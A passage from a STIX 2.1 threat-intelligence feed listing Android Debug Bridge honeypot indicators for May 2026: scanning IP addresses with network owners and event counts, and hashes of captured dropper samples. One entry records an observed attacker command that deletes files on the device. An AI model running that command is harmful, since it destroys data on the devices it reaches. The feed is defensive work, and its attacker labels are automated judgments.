          "last_seen": "2026-05-27T02:06:22.094Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "213412"
          ],
          "org": [
            "ONYPHE SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-06T07:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=19; ports=5555; cc=US; asn=207990; asn_org=HostRoyale Technologies Pvt Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=93 | first_seen=2026-05-06T06:07:29.000Z | last_seen=2026-05-11T23:14:14.016Z | ports=5555 | cc=US | asn=207990 | org=HostRoyale Technologies Pvt Ltd",
      "id": "indicator--dcf217da-f487-4568-ace9-c02f2fed2a2e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.141.119.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T07:00:02.000Z",
      "valid_until": "2026-06-07T07:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 93,
          "first_seen": "2026-05-06T06:07:29.000Z",
          "last_seen": "2026-05-11T23:14:14.016Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "207990"
          ],
          "org": [
            "HostRoyale Technologies Pvt Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-06T07:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=FR; asn=34534; asn_org=Fbw Networks SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-06T06:45:45.000Z | last_seen=2026-05-06T06:46:47.446Z | ports=5555 | cc=FR | asn=34534 | org=Fbw Networks SAS",
      "id": "indicator--91229287-3c4e-4160-9431-3c36786593e4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '37.44.238.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T07:00:02.000Z",
      "valid_until": "2026-06-07T07:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-06T06:45:45.000Z",
          "last_seen": "2026-05-06T06:46:47.446Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "34534"
          ],
          "org": [
            "Fbw Networks SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-06T09:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=FR; asn=51167; asn_org=Contabo GmbH; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-06T08:22:26.000Z | last_seen=2026-05-06T08:23:30.127Z | ports=5555 | cc=FR | asn=51167 | org=Contabo GmbH",
      "id": "indicator--bf311638-a2e6-49de-bf99-f702e7878695",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '37.60.236.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T09:00:03.000Z",
      "valid_until": "2026-06-07T09:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-06T08:22:26.000Z",
          "last_seen": "2026-05-06T08:23:30.127Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "51167"
          ],
          "org": [
            "Contabo GmbH"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-06T10:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=CN; asn=134763; asn_org=CHINANET Guangdong province network; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-06T09:37:53.000Z | last_seen=2026-05-06T09:38:54.748Z | ports=5555 | cc=CN | asn=134763 | org=CHINANET Guangdong province network",
      "id": "indicator--450d87db-384f-4e3c-8fb9-27cef27043c9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '14.152.90.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T10:00:04.000Z",
      "valid_until": "2026-06-07T10:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-06T09:37:53.000Z",
          "last_seen": "2026-05-06T09:38:54.748Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "134763"
          ],
          "org": [
            "CHINANET Guangdong province network"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-06T10:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=11427; asn_org=Charter Communications Inc; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-06T09:41:51.000Z | last_seen=2026-05-06T09:43:01.577Z | ports=5555 | cc=US | asn=11427 | org=Charter Communications Inc",
      "id": "indicator--53caf1d7-59f8-45b7-9cc1-3ca982d61064",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '173.198.143.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T10:00:04.000Z",
      "valid_until": "2026-06-07T10:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-06T09:41:51.000Z",
          "last_seen": "2026-05-06T09:43:01.577Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "11427"
          ],
          "org": [
            "Charter Communications Inc"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-06T10:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=8075; asn_org=Microsoft Corporation; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=14 | first_seen=2026-05-06T09:51:16.000Z | last_seen=2026-05-06T11:40:53.333Z | ports=5555 | cc=US | asn=8075 | org=Microsoft Corporation",
      "id": "indicator--d37e9f82-fbb9-4512-b69e-7a4bbd713d56",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '20.252.27.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T10:00:04.000Z",
      "valid_until": "2026-06-07T10:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 14,
          "first_seen": "2026-05-06T09:51:16.000Z",
          "last_seen": "2026-05-06T11:40:53.333Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "8075"
          ],
          "org": [
            "Microsoft Corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-06T13:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=RU; asn=56694; asn_org=LLC Smart Ape; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=13 | first_seen=2026-05-06T12:09:42.000Z | last_seen=2026-05-15T04:45:49.766Z | ports=5555 | cc=RU | asn=56694 | org=LLC Smart Ape",
      "id": "indicator--7777d742-673f-4f89-966d-c23647ca8bd9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '152.89.218.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T13:00:02.000Z",
      "valid_until": "2026-06-07T13:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 13,
          "first_seen": "2026-05-06T12:09:42.000Z",
          "last_seen": "2026-05-15T04:45:49.766Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RU"
          ],
          "asn": [
            "56694"
          ],
          "org": [
            "LLC Smart Ape"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-06T13:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=51; ports=5555; cc=SC; asn=49870; asn_org=Alsycon B.V.; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=65 | first_seen=2026-05-06T12:20:13.000Z | last_seen=2026-05-06T15:14:52.852Z | ports=5555 | cc=SC | asn=49870 | org=Alsycon B.V.",
      "id": "indicator--c7e9d373-8227-434c-aba7-967688c47b24",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '160.119.76.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T13:00:02.000Z",
      "valid_until": "2026-06-07T13:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 65,
          "first_seen": "2026-05-06T12:20:13.000Z",
          "last_seen": "2026-05-06T15:14:52.852Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SC"
          ],
          "asn": [
            "49870"
          ],
          "org": [
            "Alsycon B.V."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-06T14:00:01.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=CN; asn=45090; asn_org=Shenzhen Tencent Computer Systems Company Limited; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-06T13:33:08.000Z | last_seen=2026-05-06T13:34:14.281Z | ports=5555 | cc=CN | asn=45090 | org=Shenzhen Tencent Computer Systems Company Limited",
      "id": "indicator--14a50adf-4814-4702-b6fe-26081b14851a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '175.178.72.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T14:00:01.000Z",
      "valid_until": "2026-06-07T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-06T13:33:08.000Z",
          "last_seen": "2026-05-06T13:34:14.281Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "45090"
          ],
          "org": [
            "Shenzhen Tencent Computer Systems Company Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-06T15:00:11.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=15 | first_seen=2026-05-06T14:19:12.000Z | last_seen=2026-05-16T00:58:45.594Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--48861b80-2455-458f-81ff-c2946c953bfd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '74.82.47.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T15:00:11.000Z",
      "valid_until": "2026-06-07T15:00:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 15,
          "first_seen": "2026-05-06T14:19:12.000Z",
          "last_seen": "2026-05-16T00:58:45.594Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-06T15:00:11.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-06T14:17:14.000Z | last_seen=2026-05-06T14:18:18.784Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--4b1f7494-65f5-4591-92a2-db898ea6764f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '74.82.47.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T15:00:11.000Z",
      "valid_until": "2026-06-07T15:00:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-06T14:17:14.000Z",
          "last_seen": "2026-05-06T14:18:18.784Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-06T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=DE; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=6 | first_seen=2026-05-06T15:47:35.000Z | last_seen=2026-05-06T15:48:37.312Z | ports=5555 | cc=DE | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--8f87d34c-566c-494c-99fb-4a5fbe439dc1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '104.248.250.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T16:00:02.000Z",
      "valid_until": "2026-06-07T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 6,
          "first_seen": "2026-05-06T15:47:35.000Z",
          "last_seen": "2026-05-06T15:48:37.312Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-06T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=38; ports=5555; cc=HK; asn=9269; asn_org=Hong Kong Broadband Network Ltd.; adb_cmd_hits=0; cmd=\"rm -rf /data/local/tmp/*\"\n\nObserved in ADBHoney telemetry for 2026-05. events=38 | first_seen=2026-05-06T15:08:13.000Z | last_seen=2026-05-06T15:23:25.406Z | ports=5555 | cc=HK | asn=9269 | org=Hong Kong Broadband Network Ltd. | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,71ecfb7bbc015b2b192c05f726468b6f08fcc804c093c718b950e688cc414af5",
      "id": "indicator--cc777b25-3f97-4793-991d-f1b478e3b2aa",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '119.247.97.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T16:00:02.000Z",
      "valid_until": "2026-06-07T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 38,
          "first_seen": "2026-05-06T15:08:13.000Z",
          "last_seen": "2026-05-06T15:23:25.406Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "HK"
          ],
          "asn": [
            "9269"
          ],
          "org": [
            "Hong Kong Broadband Network Ltd."
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "71ecfb7bbc015b2b192c05f726468b6f08fcc804c093c718b950e688cc414af5"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-06T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-06T15:51:11.000Z | last_seen=2026-05-06T15:52:14.226Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--04744fd5-7722-4c03-bd77-ef1a57e962d3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '198.74.58.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T16:00:02.000Z",
      "valid_until": "2026-06-07T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-06T15:51:11.000Z",
          "last_seen": "2026-05-06T15:52:14.226Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-06T16:00:02.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/7ce8763895b52c9345961d321a95c1b2dfec59c24dd30873c9ebe191af1fd15a.raw; last_seen=2026-05-06T15:06:03.550Z",
      "id": "indicator--cba2dd8b-0201-4ca9-98d6-beb9e5ebfcc2",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = '7ce8763895b52c9345961d321a95c1b2dfec59c24dd30873c9ebe191af1fd15a']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T16:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-06T16:00:02.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/9ff4635a1cd9e401cfce19eeed54b6cde408bcccb70be490186c4808a3ec3b13.raw; last_seen=2026-05-06T15:05:59.271Z",
      "id": "indicator--b5dc377a-ddda-4fdd-9240-690fbf9abb13",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = '9ff4635a1cd9e401cfce19eeed54b6cde408bcccb70be490186c4808a3ec3b13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T16:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-06T16:00:02.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/eefb634eb31119028eca996f87b0e4b3b00a2b2edfd6e205a2a275112341ddc4.raw; last_seen=2026-05-06T15:05:56.160Z",
      "id": "indicator--6b456dd2-a744-48cb-b569-c3ed40d662bd",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
